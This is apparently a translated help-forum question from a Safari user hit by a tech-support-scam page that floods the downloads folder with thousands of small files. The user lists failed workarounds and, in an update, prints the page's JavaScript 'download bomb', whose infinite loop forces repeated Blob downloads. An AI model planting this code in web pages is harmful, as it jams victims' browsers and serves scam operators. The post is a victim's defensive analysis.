Lý lịch
Một trang spam mới đã bắt đầu xuất hiện trên nhiều trang web "nghi vấn" (trang phim, v.v.). Trang spam mới này phù hợp với danh mục quét giả, MacKeeper, "BẠN CÓ VIRUS", v.v.
Vấn đề
Vấn đề với trang mới này là thay vì chỉ có một cửa sổ bật lên, trang thực sự bắt đầu tải xuống một tệp 2kb ngẫu nhiên (không gây hại chỉ chứa văn bản ngẫu nhiên) lặp đi lặp lại sau mỗi ~ 1ms. Thư mục tải xuống sẽ lấp đầy trước khi bạn có thể đóng cửa sổ và bạn sẽ xóa hơn 1000 tệp. Không giống như, một vấn đề tương tự trong đó thư rác trang xuất hiện hộp thoại in, có rất ít thời gian để phản ứng.
Thất bại trong nỗ lực khắc phục sự cố
Tôi đã thử khóa thư mục tải xuống. Trong khi nó ngăn các phần tải xuống từ ... à ... tải xuống, một hộp thoại (xem hình ảnh) xuất hiện. Thông thường, tôi chỉ có thể bỏ qua hộp thoại này, nhưng vì quá trình tải xuống được cố gắng cứ sau 1ms, nên một hộp thoại mới bật lên mỗi khi tôi cố gắng loại bỏ, ngăn tôi đóng cửa sổ.
Buộc thoát Safari, dừng tải xuống (sau khi tải xuống 1k) nhưng sau đó tôi mất tất cả các cửa sổ khác của mình
Thay đổi cài đặt thành 'Yêu cầu mỗi lần tải xuống' trong tùy chọn Safari. Không hoạt động vì 1k hộp thoại riêng biệt mở ngăn tôi thậm chí đóng tab. Cuối cùng bị sập Safari.
Câu hỏi
Làm cách nào tôi có thể ngăn chặn tải xuống thư rác trong Safari?
CẬP NHẬT:
Đây là mã gây ra việc tải xuống (có được nó bằng cách vô hiệu hóa JavaScript và xem qua mã theo cách thủ công):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Lưu ý: Tôi gặp một số vấn đề khi chạy JS trên trang tùy chỉnh. Nó đóng băng thay vì tải xuống. Tôi đã có thể mô phỏng tải xuống bằng cách sử dụng một setInterval()
hàm gọi download
hàm.
Thông tin thêm: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrom/